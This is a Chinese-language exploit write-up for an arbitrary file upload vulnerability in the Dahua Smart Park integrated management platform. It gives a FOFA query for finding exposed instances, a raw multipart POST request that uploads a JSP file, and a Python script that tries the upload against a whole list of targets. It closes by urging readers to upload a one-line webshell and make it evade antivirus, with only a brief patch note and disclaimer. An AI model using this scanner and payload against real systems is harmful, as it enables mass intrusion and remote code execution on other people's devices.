目录
声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
一、漏洞简介
大华智慧园区综合管理平台”是一款综合管理平台,具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配,满足多元化的管理需求,同时通过提供智能服务,增强使用体验。
二、 漏洞概述
大华智慧园区设备开放了文件上传功能,但未在上传的文件类型、大小、格式、路径等方面进行严格的限制和过滤,导致攻击者可以通过构造恶意文件并上传到设备上,然后利用该漏洞获取权限并执行任意命令。
三、复现环境
fofa语句:
app="dahua-智慧园区综合管理平台"
四、 漏洞复现
1、寻找大华
选择大华链接
进入登陆界面如下:
2、验证是否存在漏洞
在IP地址后加上/emap/devicePoint_addImgIco?hasSubsystem=true,出现如图证明存在漏洞
3、payload使用
打开burp,把payload复制进去,把地址改成自己要测试的地址和端口
payload如下:
POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Host: your-ip:port
Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Length: 225
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Content-Disposition: form-data; name="upload"; filename="a.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
test123
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
然后重发一下,就会得到上传的jsp一句话名称,如图:
4、漏洞验证
验证url,看看是否被解析
五、 修复建议
建议使用相关系统的用户在尽快打补丁的同时,做好访问来源的限制,尽量避免大华智慧园区综合管理平台暴露在公网或不安全的网络环境中。
六、批量检测
批量检测代码poc如下:
import argparse
import time
import requests
def get_url(file):
with open(file, 'r', encoding='utf-8') as f:
for i in f:
i = i.replace('\n', '')
send_req(i)
def write_result(content):
with open("result.txt", "a", encoding="UTF-8") as f:
f.write('{}\n'.format(content))
def send_req(url_check):
print('{} running Check'.format(url_check))
url = url_check + '/emap/devicePoint_addImgIco?hasSubsystem=true'
header = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69',
'Content-Type': 'multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT',
'Accept': 'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2',
'Connection': 'close'
}
data = (
"--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT\r\n"
'Content-Disposition: form-data; name="upload"; filename="1ndex.jsp"\r\n'
"Content-Type: application/octet-stream\r\n"
"Content-Transfer-Encoding: binary\r\n"
"\r\n"
"123\r\n"
"--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--"
)
try:
requests.packages.urllib3.disable_warnings()
response = requests.post(url=url, headers=header, data=data, verify=False, timeout=3).json()
if response['code'] == 1:
result = '{} 存在任意文件上传漏洞! 请访问目标自测:{} \n'.format(url_check, url_check + "/upload/emap/society_new/" + response['data'])
print(result)
write_result(result)
time.sleep(1)
except Exception as e:
print(e)
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='大华智慧园区综合管理平台任意文件上传 批量PoC')
parser.add_argument('-f', help='批量检测文件名', type=str)
args = parser.parse_args()
if args.f is None:
print('请在当前目录下新建需要检测的url.txt')
else:
get_url(args.f)
1、如何使用
1、在目录下面新建个python文件,创建个url.txt文件夹,把需要检测漏洞的地址放在url里面。
2、运行 poc.py文件,命令如下:
python poc.py -f url.txt
如果存在漏洞就会在文件夹里面生成一个新的result.txt文件
上传shell,一句话木马连接
大家记得做好免杀,可能会有waf,不对,尽量不要做违法的行为。